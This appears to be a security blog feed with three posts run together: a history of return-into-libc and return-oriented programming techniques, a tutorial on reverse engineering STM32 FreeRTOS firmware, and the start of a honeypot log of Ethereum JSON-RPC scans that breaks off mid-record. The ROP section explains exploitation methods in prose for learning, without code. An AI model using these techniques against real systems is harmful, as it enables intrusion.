<p>1997 Solar Designer published the first "return-into-libc" buffer overflow exploit. In these days parts of the stack just got non-executable: funnily enough,
it was also Solar Designer who posted the patch for the Linux Kernel, just to publish months later a way to circument his own patch. Also the term
"Return oriented Programming" was not yet established but "return into libc" was used. The exploited platform way x86, so return-into-libc exploited a NX stack
by searching for the string "/bin/sh" in memory, then placing the address of the string and the address of system(), using the overflow, on the stack. Execution
got redirected to system() (via the overwritten <code>ret</code>) and /bin/sh executed. He even described how to call two libc functions, the second one without parameters , since they would use the exact same space as the parameters for the first function call.</p>
<p>He also proposed to fix this by placing libc in regions of memory which contain a zero byte. Since most buffer overflow exploits got exploited via a overflown
ASCIIZ string, that would render his version of the return-into-libc ineffective (since the address of system() would have a zero byte in it)</p>
<p>His paper: <a href="http://insecure.org/sploits/linux.libc.return.lpr.sploit.html">lpr LIBC RETURN exploit</a></p>
<p>Rafal Wojtczuk then, only some months later, extended the return-into-libc by:</p>
<ul>
<li>Exploiting the PLT address of libc functions, which are not in memory regions with zero bytes.</li>
<li>Placing shellcode in the still executable data segment</li>
</ul>
<p>His paper: <a href="http://insecure.org/sploits/non-executable.stack.problems.html">Defeating Solar Designer's Non-executable Stack Patch</a></p>
<p>A further improvement was released 2001 in <a href="http://phrack.org/issues/58/4.html">phrack by Nergal</a> where two methods to call multiple functions <em>with parameters</em>
were described:</p>
<ul>
<li>ESP lifting - In binaries, which were compiled with <code>-fomit-frame-pointer</code>, it was possible to use their special epilogie by returning to that, after calling the first function, to shift the stack pointer into higher regions (since the original task of the epilogue was to clean up its functions stack frame!) to the second functions call construct.</li>
<li>pop-ret: by returning to a <code>pop;ret</code> (or: <code>many-pop; ret</code> gadget) instead of to the second function, you can <code>pop</code> the arguments of the called function before further continuing with the next function. The caveat: <code>multiple-pop-and-ret</code> gadgets are quite rare.</li>
<li>frame faking (programs compiled without <code>-omitframepointer</code>): by overwriting the saved <code>EBP</code> with the next called functions frame and returning into a <code>LEAVE; RET</code> gadget, the frame pointer can be moved always futher to the next called function.</li>
</ul>
<h2>Borrowed Code Chunks</h2>
<p>With the ELF64 ABI then the parameters of a function were passed via the registers instead on the stack. This rendered the already mentioned
return-into-libc useless. Sebastian Krahmer then described the <a href="https://users.suse.com/~krahmer/no-nx.pdf">"borrowed code chunks" technique</a> which used a gadget
(even if not yet named that) to move the value of register <code>rsp</code> into the register <code>rdi</code> and then <code>ret</code> - executing system() again in an ELF64 ABI binary.</p>
<p>His paper: <a href="https://users.suse.com/~krahmer/no-nx.pdf">x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique</a></p>
<h2>Return Oriented Programming</h2>
<p>In 2007 then the term Return Oriented Programming (and gadget) was coined by <a href="https://hovav.net/ucsd/dist/geometry.pdf">H. Shacham in a paper named "The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86)"</a>. He generalized the principle of return oriented
programming by using "short code sequences" (ie gadgets) instead of the whole functions. He described a set of gadgets which were "turing complete by
inspection", so they allowed arbitary computation.</p>
<h2>ROP on ARM</h2>
<p>Tim Kornau then published in 2010 his <a href="https://static.googleusercontent.com/media/www.zynamics.com/en//downloads/kornau-tim--diplomarbeit--rop.pdf">diploma thesis</a> on ROP on ARM architectures. He nicely
summarized how gadgets and ROP shellcode on ARM can be crafted. It really is one of the basis of my summary on that topic, so if you want a even deeper dive into
ROP on ARM, make sure to work through his great thesis. A second must-read is the technical paper <a href="http://ei.rub.de/media/trust/veroeffentlichungen/2010/07/21/ROP-without-Returns-on-ARM.pdf">Return-Oriented Programming without Returns on ARM</a>. It describes many of the techniques used here!</p>
<h2>More interesting papers</h2>
<p>A small, not complete list of publications you might want to look over:</p>
<ul>
<li><a href="http://phrack.org/issues/66/12.html">Alphanumeric RISC ARM Shellcode</a></li>
<li><a href="http://s3.eurecom.fr/docs/ccs08_francillon.pdf">Code Injection Attacks on Harvard-Architecture Devices</a></li>
<li><a href="https://ieeexplore.ieee.org/document/8029521/">Return-Oriented Programming on a Cortex-M Processor</a></li>
</ul>
<p><strong>if you miss any links here, let me know!</strong></p>
<hr>
<p><a href="/arm-exploitation-setup-and-tools.html">next post of this series >></a></p>
<hr>Starting Embedded Reverse Engineering: FreeRTOS, libopencm3 on STM32F103C8T62018-08-27T22:22:00+02:002018-08-27T22:22:00+02:00dimitag:blog.3or.de,2018-08-27:/starting-embedded-reverse-engineering-freertos-libopencm3-on-stm32f103c8t6.html<p>My first steps into reverse engineering embedded systems.</p><h1>Introduction</h1>
<p>I recently began my journey into the world of embedded devices. My main goal is to get a foothold into reverse engineering embedded devices, focusing, for now, on ARM.
There is a whole lot of possible software configurations, which could run on embedded devices, ranging from full-blown Linux systems to bare-metal binaries,
running without any operating system.</p>
<p>Coincidence decided the setup I used to start in reversing embedded firmware. As it happend a friend of mine brought along a little microcontroller board, the STM32F103C8T6, he ordered in bluk.
Then I found a nice beginner book, recently <a href="https://www.amazon.de/Beginning-STM32-Developing-FreeRTOS-libopencm3/dp/1484236238/">released</a>, about developing on that board with GCC and FreeRTOS. Since FreeRTOS is, as far as it seems, a kind of popular
operating system used in embedded devices, the setup was settled.</p>
<h1>Setup</h1>
<p>Warren Gay, the author of the mentioned book, <a href="https://github.com/ve3wwg/stm32f103c8t6">released</a> a git repo containing a preconfigured developement environment build
around FreeRTOS, libopencm3 and the board.</p>
<p>To start a new project follow the prerequisites stated in the readme. Then just:</p>
<div class="highlight"><pre><span></span><code>cd ./rtos
make -f Project.mk PROJECT=name
cd ./name
make
</code></pre></div>
<p>You will receive a main.bin, the first binary I am going to examine in the following posts. To understand how a binary is build (and linked) as well as about ARM assembly I will examine the source code and the binary in parallel.</p>
<h2>IDA setup</h2>
<p>You might want to start reading the following sections of this post und come back later to learn how to load the firmware into IDA.</p>
<p>Start a new project, select ARM little endian as processor type and open the processor options. On the screenshots you can see the settings which worked for me. The Cortex-M3 has a ARMv7-M base architecture, so we set that.</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-6.png"></p>
<p>After confirming the settings IDA asks about RAM and ROM sections. You might wonder how to find the right values for these sections - thats part of the following sections.</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-7.png"></p>
<p>In the main window IDA shows us the firmware but the code is not yet disassembled. To let IDA successfully disassemble our Code we need to enable Thumb mode: Alt+G: Enter 0x1 and confirm.</p>
<p>Next, set the values at 0x0800.0000 and 0x0800.0004 to Double-Words and jump to the value which appeared at 0x0800.0004: 0x0800.0CC5. Thats our entry point, the reset_handler (again, part the following enties of this series). Right-click and define "Code" at 0x0800.0CC<em>4</em>. I will explain in the following sections what just happend.</p>
<p>Now you should see the following picture:</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-8.png"></p>
<p>You are ready to go.</p>
<h1>STM32F103C8T6 boot and initialization</h1>
<p>Where to start reverse engineering an embedded firmware image? Having a entry point is important - for example in in ELF binaries you can find the binaries entry in the ELF header. There might also be exports or even debug symbols. Each of that could be a starting point for reverse engineering an unknown binary.</p>
<p>In this firmware these entry points do not exist. As mentioned in the introduction, the starting point is a blob and a microcontroller, the blob is supposed to run on.</p>
<h3>into the documentation</h3>
<p>The first thing could be a look into the documentation of the microcontroller. In my case thats the STM32F103C8. Finding the right ressources might be in real-world scenarios more difficult. For the mentioned microcontroller nonetheless everything we need in the following sections is documented either in the programming or reference manuals you can find <a href="https://www.st.com/content/st_com/en/products/microcontrollers/stm32-32-bit-arm-cortex-mcus/stm32-mainstream-mcus/stm32f1-series/stm32f103/stm32f103c8.html">here</a>.</p>
<h4>memory layout</h4>
<p>The microcontroller is able to boot either from the Flash, the embedded SRAM or the System Memory. Depending on the BOOT pin configuration the the adresses 0x0000.0000 to 0x0800.0000
are either aliased to the Flash or to the system memory regions.</p>
<p><img alt="Memory Layout" src="https://blog.3or.de/images/embedded-reverse-engineering-1-1.png"></p>
<p>The important memory regions for now:</p>
<ul>
<li>System Memory: 0x1FFF.0000 to 0x1FFF.F800</li>
<li>Flash Memory: 0x0800.0000 to 0x0801.FFFF</li>
<li>SRAM at 0x2000.0000</li>
</ul>
<h4>vector table</h4>
<p>In the used cores, an ARM Cortex-M3, the boot process is build around the reset exception. At device boot or reboot the core assumes the vector table at 0x0000.0000. The vector table contains exception routines and the initial value of the stack pointer. There is a Vector table offset register (SCB_VTOR) where you can load a offset from 0x0000.0000 to relocate the vector table during runtime.</p>
<p>On power-on now the microcontroller first loads the initial stack pointer from 0x0000.0000 and then address of the reset vector (0x0000.0004) into the program counter register (R15). The execution continues at this address. As you can see in the following picture the reset vector is at 0x.0000.0004.
The initial stack pointer value will be at 0x0000.0000.</p>
<p><img alt="Vector Table" src="https://blog.3or.de/images/embedded-reverse-engineering-1-2.png"></p>
<h3>into the binary</h3>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-3.png"></p>
<p>Marked blue and red we can see the mentioned memory regions:</p>
<ul>
<li>0x2000.5000 is the initial stack pointer value, pointing into SRAM</li>
<li>0x0800.0CC5 the address of our reset routine, executed at power-on and reset of the embedded device. The fact that bit 0 is 1 indicates that the processor should start in Thumb mode (activate Thumb mode if PC bit 0 is 1). In the current case that is also clear by looking at die Cortex-M3 spec since these processors only support Thumb mode.</li>
</ul>
<!-- Verweis auf den Punkt, dass wir hier unser disassembly anfangen -->
<h3>into the source</h3>
<p>The project provides a liker script which defines the memory layout of our destination binary. Let's have a look how the binary we just looked at was build:</p>
<div class="highlight"><pre><span></span><code>MEMORY
{
rom (rx) : ORIGIN = 0x08000000, LENGTH = 64K
ram (rwx) : ORIGIN = 0x20000000, LENGTH = 20K
}
/* Enforce emmition of the vector table. */
EXTERN (vector_table)
/* Define the entry point of the output file. */
ENTRY(reset_handler)
/* Define sections. */
SECTIONS
{
.text : {
*(.vectors) /* Vector table */
*(.text*) /* Program code */
. = ALIGN(4);
*(.rodata*) /* Read-only data */
. = ALIGN(4);
} >rom
[...]
PROVIDE(_stack = ORIGIN(ram) + LENGTH(ram));
</code></pre></div>
<blockquote>
<p>file: stm32f103c8t6.ld</p>
</blockquote>
<p>The linker script first defines two memory sections with their permissions (read-write for <em>rom</em> and read-write-execute for <em>ram</em>). Then, in the sections defintions, we see the .text segment defined with the the different parts it consists of, especially the vector table which is placed at the beginning of the .text segment:</p>
<div class="highlight"><pre><span></span><code><span class="na">.text</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="err">*(</span><span class="na">.vectors</span><span class="p">)</span><span class="w"> </span><span class="cm">/* Vector table */</span>
<span class="w"> </span><span class="na">...</span>
<span class="w"> </span><span class="err">}</span><span class="w"> </span><span class="err">></span><span class="w"> </span><span class="nf">rom</span>
</code></pre></div>
<p>This instructs the linker to include all sections named .vectors from all files (the *) into the text segment and put it into <em>rom</em>, which is defined in the MEMORY statement.</p>
<p>The vector table we reverse engineered from the firmware is defined in the vector.c file of libopencm3:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="nv">__attribute__</span><span class="w"> </span><span class="ss">((</span><span class="nv">section</span><span class="ss">(</span><span class="s2">".vectors"</span><span class="ss">)))</span>
<span class="w"> </span><span class="nv">vector_table_t</span><span class="w"> </span><span class="nv">vector_table</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>{
<span class="w"> </span>.<span class="nv">initial_sp_value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="nv">_stack</span>,
<span class="w"> </span>.<span class="nv">reset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">reset_handler</span>,
<span class="w"> </span>.<span class="nv">nmi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">nmi_handler</span>,
<span class="w"> </span>.<span class="nv">hard_fault</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">hard_fault_handler</span>,
<span class="w"> </span><span class="cm">/* Those are defined only on CM3 or CM4 */</span>
<span class="w"> </span>#<span class="k">if</span><span class="w"> </span><span class="nv">defined</span><span class="ss">(</span><span class="nv">__ARM_ARCH_7M__</span><span class="ss">)</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="nv">defined</span><span class="ss">(</span><span class="nv">__ARM_ARCH_7EM__</span><span class="ss">)</span>
<span class="w"> </span>.<span class="nv">memory_manage_fault</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">mem_manage_handler</span>,
<span class="w"> </span>.<span class="nv">bus_fault</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">bus_fault_handler</span>,
<span class="w"> </span>.<span class="nv">usage_fault</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">usage_fault_handler</span>,
<span class="w"> </span>.<span class="nv">debug_monitor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">debug_monitor_handler</span>,
<span class="w"> </span>#<span class="k">endif</span>
<span class="w"> </span>.<span class="nv">sv_call</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">sv_call_handler</span>,
<span class="w"> </span>.<span class="nv">pend_sv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">pend_sv_handler</span>,
<span class="w"> </span>.<span class="nv">systick</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">sys_tick_handler</span>,
<span class="w"> </span>.<span class="nv">irq</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>{
<span class="w"> </span><span class="nv">IRQ_HANDLERS</span>
<span class="w"> </span>}
<span class="w"> </span>}<span class="c1">;</span>
</code></pre></div>
<blockquote>
<p>file: stm32f103c8t6/libopencm3/lib/cm3/vector.c</p>
</blockquote>
<p>That fits to the "reverse engineered" structure of the binary firmware: Bytes 4-7 is the <em>reset_handler</em>, which is the address of the function defined later in vector.c, and the first four bytes are the initial_sp_value. Since <em>rom</em> is defined to start at ORIGIN = 0x0800.0000, the reset routine is placed, exactly as encountered in the section "into the binary", within the address range (0x0800.000 + 64K. 64 * 1024: 0x1.0000 addressable bytes, means highest <em>rom</em> address: 0x0801.FFFF)</p>
<p>Then the initial stack pointer value is calculated by the linker based on the size of <em>rom</em> and <em>ram</em>, provided as <em>_stack</em> symbol, whose address is then included in the <em>vector_table</em> struct - and placed as the first 4 bytes of the firmware.</p>
<p>So we not only found the reset routine as a starting point to reverse engineer, we also know that the firmware of that device is supposed to boot from Flash memory. Remember: Either the Flash memory, starting at 0x0800.0000 or the SRAM, starting at 0x1FFF.0000, is mapped to 0x0000.0000.</p>
<p>I assume you could also link the firmware with <em>rom</em>s value of ORIGIN as 0x0000.0000 since the memory regions 0x0800.0000 are aliased (with the according BOOT pin configuration). In that case the the boot source would not be obvious from the firmware. </p>
<h1>libopencm3: calling main()</h1>
<p>The <em>reset_handler</em> in libopencm3 is pretty simple. Nonetheless it shows pretty nice what has to be done before a user-supplied main()-function can be called.</p>
<p>As we already found out the initial entry point, the address which was located at 0x0000.0004, is 0x0800.0CC5. We start our reverse engineering there.</p>
<h2>into the binary</h2>
<p>This is now the point you should have a look at the introduction and especially how to set up IDA Pro.</p>
<h3>.data and .bss initialization</h3>
<p>Besides the .text section the linker script specifies the .bss and the .data section. .bss holds uninitialized, zeroed, .data the initialized variables.</p>
<p>One fact we already found out by looking first at the documentation and then at the binary, is that RAM will start at 0x2000.0000. From the disassembly we could deduce the same:</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-4.png"></p>
<p>As shown in the the disassembly, first base address 0x2000.0000 is load into R3. Then 16 bytes (0x2000.0010 - 0x2000.0000, the <em>CMP R3, R1</em>), starting at 0x0800.0D5C, are copied to the address R3 points to. These 16 bytes form the .data section, the initialized variables. Remember the post-indexed ARM instructions (orange), which increment (in this case by 4) the second operand automatically after the operation STR/LDR is done. We can see the .data section in the binary firmware:</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-5.png"></p>
<p>After that, appended to the .data section (R3 is incremented further), .bss follows. Since the .bss section holds undefined data initialized with zero, we can easily spot it: Starting at 0x2000.0010 up to 0x2000.452C, everything is initialized with 0. (R1 holds 0 and gets written to [R3])</p>
<h3>.init_array</h3>
<p>The next part of the <em>reset_handler</em> seems to be any kind of initialization array, which holds a list of function pointers. From the source we will learn that this is the .init_array</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-14.png"></p>
<p>What the disassembly shows in a nutshell:</p>
<ul>
<li>Two values are compared (red). In this case they are the same - it seems like the linker did not find any values for the .init_array. Let us assume there were some entries in the array.</li>
<li>If there would be some, the processor would jump to loc_8000D0C, load the next function pointer into R3 from R4. Update (post-index increment) then R4 (pointer into the array) by 4 to the next value.</li>
<li>branch to the value in R3</li>
<li>repeat until R4 == R5.</li>
</ul>
<h2>into the source</h2>
<p>The reset_vector for the FreeRTOS firmware is compiled in from the libopencm3 library, which defines the vector in libopencm3/lib/cm3/vector.c:</p>
<div class="highlight"><pre><span></span><code><span class="nb nb-Type">void</span><span class="w"> </span><span class="n">__attribute__</span><span class="w"> </span><span class="p">((</span><span class="n">weak</span><span class="p">,</span><span class="w"> </span><span class="n">naked</span><span class="p">))</span><span class="w"> </span><span class="n">reset_handler</span><span class="p">(</span><span class="nb nb-Type">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">volatile</span><span class="w"> </span><span class="n">unsigned</span><span class="w"> </span><span class="o">*</span><span class="n">src</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="n">dest</span><span class="p">;</span>
<span class="w"> </span><span class="n">funcp_t</span><span class="w"> </span><span class="o">*</span><span class="n">fp</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">src</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">_data_loadaddr</span><span class="p">,</span><span class="w"> </span><span class="n">dest</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">_data</span><span class="p">;</span>
<span class="w"> </span><span class="n">dest</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="o">&</span><span class="n">_edata</span><span class="p">;</span>
<span class="w"> </span><span class="n">src</span><span class="o">++</span><span class="p">,</span><span class="w"> </span><span class="n">dest</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="o">*</span><span class="n">dest</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="n">src</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">dest</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="o">&</span><span class="n">_ebss</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="o">*</span><span class="n">dest</span><span class="o">++</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">fp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">__preinit_array_start</span><span class="p">;</span><span class="w"> </span><span class="n">fp</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="o">&</span><span class="n">__preinit_array_end</span><span class="p">;</span><span class="w"> </span><span class="n">fp</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)();</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="w"> </span><span class="n">main</span><span class="p">();</span>
<span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="p">}</span>
</code></pre></div>
<p>As already described first .data and .bss gets initialized. The <em>_data_loadaddr</em> and <em>_ebss</em> symbols are defined in the linker file, when the sections get defined:</p>
<div class="highlight"><pre><span></span><code><span class="na">.data</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nf">_data</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="p">.</span><span class="c1">;</span>
<span class="w"> </span><span class="err">*(</span><span class="na">.data</span><span class="p">*)</span><span class="w"> </span><span class="cm">/* Read-write initialized data */</span>
<span class="w"> </span><span class="err">.</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="nf">ALIGN</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span><span class="c1">;</span>
<span class="w"> </span><span class="nf">_edata</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="p">.</span><span class="c1">;</span>
<span class="err">}</span><span class="w"> </span><span class="err">></span><span class="nf">ram</span><span class="w"> </span><span class="no">AT</span><span class="w"> </span><span class="err">></span><span class="no">rom</span>
<span class="nf">_data_loadaddr</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="no">LOADADDR</span><span class="p">(.</span><span class="no">data</span><span class="p">)</span><span class="c1">;</span>
<span class="na">.bss</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="err">*(</span><span class="na">.bss</span><span class="p">*)</span><span class="w"> </span><span class="cm">/* Read-write zero initialized data */</span>
<span class="w"> </span><span class="err">*(</span><span class="nf">COMMON</span><span class="p">)</span>
<span class="w"> </span><span class="err">.</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="nf">ALIGN</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span><span class="c1">;</span>
<span class="w"> </span><span class="nf">_ebss</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="p">.</span><span class="c1">;</span>
<span class="err">}</span><span class="w"> </span><span class="err">></span><span class="nf">ram</span>
</code></pre></div>
<h3>main()</h3>
<p>After the initialization of .bss, .data and calling all init functions main() gets called.</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-15.png"></p>
<p>In that case it is pretty obivous which function is main(). I assume in some firmwares finding main() could be more difficult than that.</p>
<h1>FreeRTOS: Finding Tasks</h1>
<p>I am skipping the FreeRTOS intruduction since there are plenty of resources summarzing FreeRTOS to an extent which is sufficient to understanding the following. The most important part to know is that FreeRTOS consist of Tasks. These Tasks are user-written. Additionally there is one IDLE task which gets created by the system and is called when no user-written task is working.</p>
<p>As we do not really want to reverse engineer FreeRTOS itself but only the user-written tasks, I asked myself: how could I find only these?</p>
<p>I came up with two possible ways</p>
<h2>searching for the xTaskCreate prototype</h2>
<div class="highlight"><pre><span></span><code><span class="n">BaseType_t</span><span class="w"> </span><span class="n">xTaskCreate</span><span class="p">(</span><span class="w"> </span><span class="n">TaskFunction_t</span><span class="w"> </span><span class="n">pxTaskCode</span><span class="p">,</span>
<span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="nb">char</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">pcName</span><span class="p">,</span>
<span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">configSTACK_DEPTH_TYPE</span><span class="w"> </span><span class="n">usStackDepth</span><span class="p">,</span>
<span class="w"> </span><span class="nb nb-Type">void</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">pvParameters</span><span class="p">,</span>
<span class="w"> </span><span class="n">UBaseType_t</span><span class="w"> </span><span class="n">uxPriority</span><span class="p">,</span>
<span class="w"> </span><span class="n">TaskHandle_t</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">pxCreatedTask</span><span class="w"> </span><span class="p">)</span>
</code></pre></div>
<p>We can expect the following disassembly:</p>
<ul>
<li>R0 holds a address > than 0x0800.0000 (the function pointer of the task)</li>
<li>R1 holds a pointer to a string. Can be in .data or in .text.</li>
<li>R2 holds a integer</li>
<li>R3 can be really anything</li>
<li>two parameters on the stack: 5th: integer, 6th: NULL or an address (variable TaskHandle_t).</li>
</ul>
<p>In my example, if we disassemble the found main() function, wie see:</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-9.png"></p>
<p>As mentioned when xTaskCreate is called R0 will hold a function pointer to the user-written address - exactly what we found in main(). (marked red).</p>
<h2>searching the IDLE Tasks</h2>
<p>As I mentioned in the introduction, FreeRTOS automatically creates a IDLE task which is running in the background. For that task the second parameter (pcName) is, in the default setting, 'IDLE'.
If luck is with the reverse engineer the engineers did not change the default name. In that case we find "IDLE" somewhere in the binary:</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-10.png"></p>
<p>By cross-referencing that (CTRL-x) we find the place where the string is loaded:</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-11.png"></p>
<p>The Idle-Task is created in the function vTaskStartScheduler. We already saw how a "xTaskCreate() call looks like in assembly. We can expect to find this prototype in xTaskStartScheduler, where xTaskCreate() is called for the IDLE task:</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-12.png"></p>
<p>The IDLE task is located at 0x0800.0541. The stack and the registers get prepared with the mentioned values and then a <em>branch with link</em> is taken to xTaskCreate. By cross-referencing xTaskCreate we can find all user-implemented Tasks and start reversing them... But that will be (hopefully) part of another blog post :)</p>
<p><img alt="firmware hexdump 1" src="https://blog.3or.de/images/embedded-reverse-engineering-1-13.png"></p>
<h2>into the source</h2>
<p>Now that's not really the most interesting part since the implemented Task is pretty boring. But for the sake of completeness the called main() function:</p>
<div class="highlight"><pre><span></span><code><span class="nv">main</span><span class="ss">(</span><span class="nv">void</span><span class="ss">)</span><span class="w"> </span>{
<span class="w"> </span><span class="nv">gpio_setup</span><span class="ss">()</span><span class="c1">;</span>
<span class="w"> </span><span class="nv">xTaskCreate</span><span class="ss">(</span><span class="nv">task1</span>,<span class="s2">"LED"</span>,<span class="mi">100</span>,<span class="nv">NULL</span>,<span class="nv">configMAX_PRIORITIES</span><span class="o">-</span><span class="mi">1</span>,<span class="nv">NULL</span><span class="ss">)</span><span class="c1">;</span>
<span class="w"> </span><span class="nv">vTaskStartScheduler</span><span class="ss">()</span><span class="c1">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="ss">(</span><span class="c1">;;)</span>
<span class="w"> </span><span class="c1">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="c1">;</span>
}
</code></pre></div>
<blockquote>
<p>rtos/projectname/main.cs</p>
</blockquote>
<h1>Outro</h1>
<!-- outro -->Internet Wide Ethereum JSON-RPC Scans2017-11-22T22:22:00+01:002017-11-22T22:22:00+01:00dimitag:blog.3or.de,2017-11-22:/internet-wide-ethereum-json-rpc-scans.html<p>Short summary on my observations on the internet wide scans on Ethereum JSON RPC interfaces</p><p>Some days ago I catched the following JSON RPC call in my honeypot 🍯 (how could we live without UTF8 symbols like this?):</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="s">"request"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s">"unpersistable"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s">"log_namespace"</span><span class="p">:</span><span class="w"> </span><span class="s">"saver"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"log_level"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s">"__class_uuid__"</span><span class="p">:</span><span class="w"> </span><span class="s">"02e59486-f24d-46ad-8224-3acdf2a5732a"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"name"</span><span class="p">:</span><span class="w"> </span><span class="s">"info"</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s">"log_time"</span><span class="p">:</span><span class="w"> </span><span class="m m-Double">1510045460.4</span><span class="mi">472082</span><span class="p">,</span>
<span class="w"> </span><span class="s">"log_logger"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s">"unpersistable"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s">"log_fl attened"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s">"request.getPassword()!:"</span><span class="p">:</span><span class="w"> </span><span class="s">""</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.path!:"</span><span class="p">:</span><span class="w"> </span><span class="s">"/"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.uri!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">"b'/'"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.uri!:"</span><span class="p">:</span><span class="w"> </span><span class="s">"/"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.getClientIP()!:"</span><span class="p">:</span><span class="w"> </span><span class="s">"46.166.148.120"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.method!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">"b'POST'"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.getUser()!:"</span><span class="p">:</span><span class="w"> </span><span class="s">""</span><span class="p">,</span>
